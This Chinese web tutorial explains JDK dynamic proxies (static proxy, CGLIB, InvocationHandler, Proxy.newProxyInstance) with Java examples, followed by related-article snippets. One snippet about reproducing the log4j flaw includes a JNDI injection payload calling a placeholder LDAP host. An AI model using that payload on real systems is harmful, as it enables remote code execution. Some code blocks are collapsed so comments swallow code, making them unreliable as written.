什么是JDK动态代理?怎么使用?

目录

    • 一、什么是动态代理,有什么作用
      • 1、代理是什么
      • 2、代理在开发中的使用情况
      • 3、使用代理模式的作用
    • 二、静态代理
      • 1、静态代理实现示例
    • 三、动态代理
      • 1、动态代理的实现(有两种)
        • 1、CGLIB动态代理(了解)
        • 2、jdk动态代理(理解)
          • 1、InvocationHandler 接口(调用处理器)
          • 2、Method类
          • 3、Proxy类
      • 2、动态代理实现示例

一、什么是动态代理,有什么作用

JDK动态代理是Java中的一种动态代理方式,它使用JDK的 反射机制来创建代理类的对象,而无需编写具体的代理类代码。在程序执行时,通过调用JDK提供的方法才能创建代理类的对象。

这种代理方式主要基于接口实现动态代理,其核心是Proxy类和InvocationHandler接口。Proxy类通过调用其静态方法newProxyInstance()来返回代理对象,而InvocationHandler接口中的invoke方法则用于对目标方法进行增强。

JDK动态代理的设计初衷是为了适应那些在编译期间无法确定代理类需求的情况。

在传统的静态代理模式下,需要为每一个具体的服务接口预先创建一个对应的代理类,当系统中存在大量接口时,这种方式会带来大量的重复代码和维护困难。而JDK动态代理通过在运行时根据接口动态生成代理类的方式,极大地简化了这一过程,使得开发人员无需手动编写具体的代理类代码,只需关注代理逻辑本身。

JDK动态代理在诸如Spring Boot这样的企业级开发框架中被广泛应用,用于实现诸如AOP(面向切面编程)、服务代理、事务管理等高级功能。由于代理类是在运行时生成的,因此可以根据不同的场景灵活地定制代理行为,无需提前预知所有可能的代理情况。

JDK动态代理是一种强大而灵活的技术,它允许在不修改原始代码的情况下对目标对象的方法进行功能增强,从而提高了代码的可维护性和可扩展性。

例如:你所在的项目中,有一个功能是其他人(公司的其它部门,其它小组的人)写好的,你可以使用。

// GoNong.class
GoNong gn = new GoNong();
gn.print();`

你发现这个功能,现在还缺一点, 不能完全满足我项目的需要。需要在gn.print()执行后,需要自己在增加代码。用代理实现 gn.print() 调用时, 增加自己代码, 而不用去改原来的 GoNong文件。

1、代理是什么

在JDK动态代理中,“代理”的含义主要是为其他对象提供一种替代或中介,以控制对这个对象的访问。JDK动态代理通过创建目标对象的代理对象,在代理对象与目标对象之间建立一个中间层,以便对目标对象中的方法进行功能性增强。

这种代理方式的核心在于,它允许在不修改原始类代码的情况下,对类的方法进行动态拦截和增强。在程序运行时,通过调用JDK提供的方法,可以动态地创建代理类的对象,并根据需要指定要代理的目标类。这样,代理对象就可以作为目标对象的一个替代,对目标对象的方法进行增强或修改。

在JDK动态代理中,代理对象的创建是基于反射机制的,而且是在程序运行时动态生成的。这使得代理对象具有高度的灵活性和可扩展性,可以根据不同的需求动态地创建和配置代理对象。

JDK动态代理中的“代理”是一种用于控制对象访问和增强对象功能的机制,它通过创建代理对象来实现对目标对象的间接访问和修改。

2、代理在开发中的使用情况

例如:在开发中的情况,你有A类,本来是调用C类的方法,完成某个功能,但是C不让A调用。

A 不能调用 C的方法。所以在A 和 C之间创建一个 B 代理,C让 B 访问。则访问流程变成:

A --> 访问B —> 访问C

例子: 登录,注册有验证码, 验证码是手机短信。

中国移动, 联通能发短信。中国移动, 联通能有子公司,或者关联公司,他们面向社会提供短信的发送功能。

张三项目发送短信 ----> 子公司,或者关联公司 -----> 中国移动, 联通 ----> 验证码

3、使用代理模式的作用

  • 功能增强: 在你原有的功能上,增加了额外的功能。 新增加的功能,叫做功能增强。
  • 控制访问: 代理类不让你访问目标,例如商家不让用户访问厂家。

二、静态代理

静态代理 : 代理类是自己手工实现的,自己创建一个java类,表示代理类。同时你所要代理的目标类是确定的。代理类应具有以下特点:实现简单,容易理解,提前确定好了代理的关系。

当你的项目中,目标类和代理类很多时候,有以下的缺点:

  • 当目标类增加了, 代理类可能也需要成倍的增加,导致代理类数量过多。
  • 当你的接口中功能增加或修改,会影响众多的实现类,厂家类。这时,所有的代理都需要修改。

1、静态代理实现示例

模拟一个用户购买u盘的行为。用户是客户端类,商家是代理,代理某个品牌的u盘,而厂家则是目标类。

三者的关系: 用户(客户端) ----> 商家(代理) ----> 厂家(目标)

商家和厂家都是卖u盘的,他们完成的功能是一致的,都是卖u盘。

实现步骤:

  • 创建一个接口,定义卖u盘的方法, 表示你的厂家和商家做的事情。
// 定义一个接口UsbDriveSeller,其中包含一个卖U盘的方法sellUsbDrive。
public interface UsbDriveSeller {  void sellUsbDrive();  
}
  • 创建厂家类,实现1步骤的接口。
// 创建Manufacturer类,实现UsbDriveSeller接口。
public class Manufacturer implements UsbDriveSeller {  @Override  public void sellUsbDrive() {  System.out.println("厂家生产并销售U盘。");  }  
}
  • 创建商家,就是代理,也需要实现1步骤中的接口。
// 创建Merchant类,也实现UsbDriveSeller接口。商家类作为代理,可能会添加一些额外的逻辑,比如加价销售等。public class Merchant implements UsbDriveSeller {  private UsbDriveSeller manufacturer;  public Merchant(UsbDriveSeller manufacturer) {  this.manufacturer = manufacturer;  }  @Override  public void sellUsbDrive() {  // 商家在销售前可能做一些准备工作,比如宣传、包装等  System.out.println("商家开始销售U盘。");  // 调用厂家的卖U盘方法  manufacturer.sellUsbDrive();  // 商家销售后的动作,比如记录销售、售后服务等  System.out.println("商家销售完成,并提供售后服务。");  }  
}
  • 创建客户端类,调用商家的方法买一个u盘。
// 创建Client类,模拟客户端调用商家的方法购买U盘。public class Client {  public static void main(String[] args) {  // 创建厂家对象  UsbDriveSeller manufacturer = new Manufacturer();  // 创建商家对象,并将厂家对象作为参数传入  UsbDriveSeller merchant = new Merchant(manufacturer);  // 客户端调用商家的卖U盘方法  merchant.sellUsbDrive();  }  
}
  • 输出结果
商家开始销售U盘。  
厂家生产并销售U盘。  
商家销售完成,并提供售后服务。

这个简单的例子展示了如何使用接口定义卖U盘的行为,然后分别通过厂家类和商家类(作为代理)来实现这个行为。客户端通过调用商家的方法来间接调用厂家的方法,实现了基本的代理模式。

代理类完成的功能:

  • 目标类中方法的调用。
  • 功能增强。

三、动态代理

在静态代理中目标类很多时候,可以使用动态代理,避免静态代理的缺点。

动态代理中目标类即使很多, 但也可以做到:

  • 代理类数量可以很少。
  • 当你修改了接口中的方法时,不会影响代理类。

动态代理: 在程序执行过程中,使用jdk的反射机制,创建代理类对象, 并动态的指定要代理目标类。
换句话说: 动态代理是一种创建java对象的能力,让你不用创建实体类,就能创建代理类对象。

在Java中,要想创建对象:

  • 创建类文件, java文件编译为class。
  • 使用构造方法,创建类的对象。

1、动态代理的实现(有两种)

1、CGLIB动态代理(了解)

CGLIB动态代理是一种基于字节码生成的代理模式,它通过扩展被代理类来生成代理类。这种代理方式不需要被代理类实现接口,因此它可以代理那些没有实现接口的类。

在运行时,CGLIB通过修改字节码的方式动态生成被代理类的子类,并重写父类中的方法来实现代理功能。这样,通过调用子类的方法来间接调用父类的方法,可以达到对目标类方法的代理控制。

简单来说:CGLIB是第三方的工具库, 创建代理对象。CGLIB的原理是继承, CGLIB通过继承目标类,创建它的子类,在子类中重写父类中同名的方法, 实现功能的修改。因为CGLIB是继承,重写方法,所以要求目标类不能是final的, 方法也不能是final的。CGLIB的要求目标类比较宽松, 只要能继承就可以了。

CGLIB动态代理的优点主要有两个。首先,由于它不需要通过反射调用被代理类的方法,因此性能相对较高。其次,通过FastClass机制调用方法,比JDK动态代理的反射机制效率要高。

然而,CGLIB动态代理也有一些缺点。例如,它生成的代理类可能会比较庞大,占用更多的内存空间。此外,由于CGLIB是通过子类化实现代理的,因此它无法代理final类以及final方法。

总的来说,CGLIB动态代理提供了一种强大的代理机制,适用于那些需要代理没有实现接口的类,或者需要对final方法和final类进行代理的场景。CGLIB在很多的框架中使用, 比如 MyBatis ,Spring框架中都有使用。

2、jdk动态代理(理解)

使用java反射包中的类和接口实现动态代理的功能。

反射包 java.lang.reflect,里面有三个类: InvocationHandlerMethodProxy

  • InvocationHandler: 接口方法原型,参数。
  • Method method:目标类中的方法,jdk提供method对象的。
  • Object proxy:jdk创建的代理对象,无需赋值。
  • Object[] args:目标类中方法的参数, jdk提供的。
1、InvocationHandler 接口(调用处理器)

就一个方法invoke():表示代理对象要执行的功能代码。

你的代理类要完成的功能就写在invoke()方法中。

代理类完成的功能:

  • 调用目标方法,执行目标方法的功能。
  • 功能增强,在目标方法调用时,增加功能。

InvocationHandler 接口:表示你的代理要干什么。

怎么用:

  • 创建类实现接口InvocationHandler。
  • 重写invoke()方法, 把原来静态代理中代理类要完成的功能,写在这。
2、Method类

表示方法的, 确切的说就是目标类中的方法。和InvocationHandler 接口不同。

作用:通过Method可以执行某个目标类的方法,Method.invoke()

// 语法:method.invoke(目标对象,方法的参数)Object ret = method.invoke(service2, "李四");// 说明: method.invoke()就是用来执行目标方法的,等同于静态代理中的// 向厂家发送订单,告诉厂家,我买了u盘,厂家发货float price = factory.sell(amount); // 厂家的价格。
3、Proxy类

核心的对象,创建代理对象。之前创建对象都是 new 类的构造方法()。现在我们是使用Proxy类的方法,代替new的使用。

方法: 静态方法 newProxyInstance()

作用是: 创建代理对象, 等同于静态代理中的 TaoBao taoBao = new TaoBao();

静态方法 newProxyInstance() 参数:

  • ClassLoader 类加载器,负责向内存中加载对象的。
  • 使用反射获取对象的ClassLoader类的a类,a.getCalss().getClassLoader(); ,目标对象的类加载器。
  • Class<?>[] interfaces: 接口,目标对象实现的接口,也是反射获取的。
  • InvocationHandler handle:我们自己写的,代理类要完成的功能。返回值就是代理对象。

2、动态代理实现示例

实现JDK动态代理主要遵循以下步骤:

  • 定义业务接口:首先,需要有一个或多个业务接口,这些接口将定义你想要代理的方法。
public interface MyService {  void doSomething();  
}
  • 实现业务接口:接着,需要实现这些接口的具体业务逻辑。
public class MyServiceImpl implements MyService {  @Override  public void doSomething() {  System.out.println("Doing something...");  }  
}
  • 创建InvocationHandler实现类:现在,需要创建一个实现了InvocationHandler接口的类。这个类将负责处理代理实例上的方法调用,并决定是调用实际对象的方法,还是添加额外的逻辑。
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  public class MyInvocationHandler implements InvocationHandler {  private Object target;  public MyInvocationHandler(Object target) {  this.target = target;  }  @Override  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {  // 在调用方法前可以添加额外的逻辑  System.out.println("Before method call.");  // 调用实际对象的方法  Object result = method.invoke(target, args);  // 在调用方法后可以添加额外的逻辑  System.out.println("After method call.");  return result;  }  
}
  • 创建并获取代理对象:最后,你使用Proxy类的newProxyInstance方法创建代理对象。这个方法需要三个参数:类加载器、代理类实现的接口列表,以及InvocationHandler实例。
import java.lang.reflect.Proxy;  public class Main {  public static void main(String[] args) {  // 创建实际对象  MyService myService = new MyServiceImpl();  // 创建InvocationHandler实例  MyInvocationHandler handler = new MyInvocationHandler(myService);  // 创建代理对象  MyService proxy = (MyService) Proxy.newProxyInstance(  MyService.class.getClassLoader(),  myService.getClass().getInterfaces(),  handler  );  // 调用代理对象的方法,实际上会调用InvocationHandler的invoke方法  proxy.doSomething();  }  
}

运行上述主类Main的main方法。你将看到在调用 doSomething() 方法前后,MyInvocationHandlerinvoke() 方法中的额外逻辑被执行了。

这样就完成了JDK动态代理的实现。这个过程中,Proxy类负责生成代理类的字节码,并创建代理对象,而InvocationHandler负责实现代理方法的行为。通过这种方式,可以在不修改原始类代码的情况下,为原始类添加额外的逻辑或行为。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797664.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【沈阳航空航天大学】【实验课程】《类与对象》实验

《类与对象》实验 《类与对象》实验任务书 一、实验要求 本次《类与对象》实验&#xff0c;是基于 “高级程序设计”和“高级程序设计实验”课程学习内容的重要实践环节&#xff0c;实验目的是通过综合性实验&#xff0c;培养学生面向对象程序设计思想&#xff0c;掌握类和对象…

Vue探索之Vue2.x源码分析(二)

一.Virtual Dom 虚拟DOM是一种轻量级的抽象&#xff0c;它允许我们在Javascript中创建、更新和删除DOM元素。它是React等现代Javascript框架的核心概念之一。 Vue的虚拟dom是一种抽象层的概念&#xff0c;它使得Vue可以高效地更新Dom。虚拟Dom是通过Javascript对象来表示DOM结…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

工厂方法模式:灵活的创建对象实例

在软件开发中&#xff0c;我们经常需要创建对象&#xff0c;但直接new一个实例可能会导致代码的耦合性增加&#xff0c;降低了代码的灵活性和可维护性。工厂方法模式&#xff08;Factory Method Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一种创建对象的接口…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

算法| ss 合并区间

56.合并区间 56.合并区间 /*** param {number[][]} intervals* return {number[][]}*/ // 思路 区间合并 // 数组升序 // 取第一个元素作为pre // for循环遍历 // 条件判断&#xff1a; 如果当前开始大于pre的结尾&#xff0c;则存入pre&#xff0c; 更新pre为当前 // 否则 p…

死锁、活锁、饥饿三者之间的区别,Java 中导致饥饿的原因有哪些?为了避免饥饿,可以采取哪些措施

目录 面试官:死锁、活锁、饥饿的区别死锁(Deadlock)活锁(Livelock)饥饿(Starvation)面试官:Java 中导致饥饿的原因有哪些思维导图该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:死锁、活锁…

【趣味学算法】11_黑洞数

注&#xff1a; 本系列仅为个人学习笔记&#xff0c;学习内容为《算法小讲堂》&#xff08;视频传送门&#xff09;&#xff0c;通俗易懂适合编程入门小白&#xff0c;需要具备python语言基础&#xff0c;本人小白&#xff0c;如内容有误感谢您的批评指正 黑洞数又称陷阱数&…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

每日更新5个Python小技能 | 第九期

大家好&#xff01;欢迎阅读每日更新的Python小技能系列&#xff0c;今天是第九期。在这个系列中&#xff0c;我将每天分享5个高级的Python小技巧&#xff0c;帮助大家进一步提升编程技能。让我们开始吧&#xff01; 1. 使用生成器提高内存效率 生成器是 Python 中强大而高效…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

Android:身份证识别功能实现

说明&#xff1a; 此文使用华为SDK、百度SDK、百度在线API三种方式实现。 一、使用华为SDK实现身份证识别&#xff1a; 说明&#xff1a;免费&#xff0c;不需要联网。 1.AndroidManifest.xml添加权限&#xff1a;<uses-permission android:name"android.permissio…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode 506. 相对名次

给你一个长度为 n 的整数数组 score &#xff0c;其中 score[i] 是第 i 位运动员在比赛中的得分。所有得分都 互不相同 。 运动员将根据得分 决定名次 &#xff0c;其中名次第 1 的运动员得分最高&#xff0c;名次第 2 的运动员得分第 2 高&#xff0c;依此类推。运动员的名次…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…

稀碎从零算法笔记Day36-LeetCode:H指数

有点绕的一个题&#xff0c;题目描述的有点奇怪&#xff08;可以看下英文&#xff1f;&#xff09; 题型&#xff1a;数组、模拟 链接&#xff1a;274. H 指数 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 citations &am…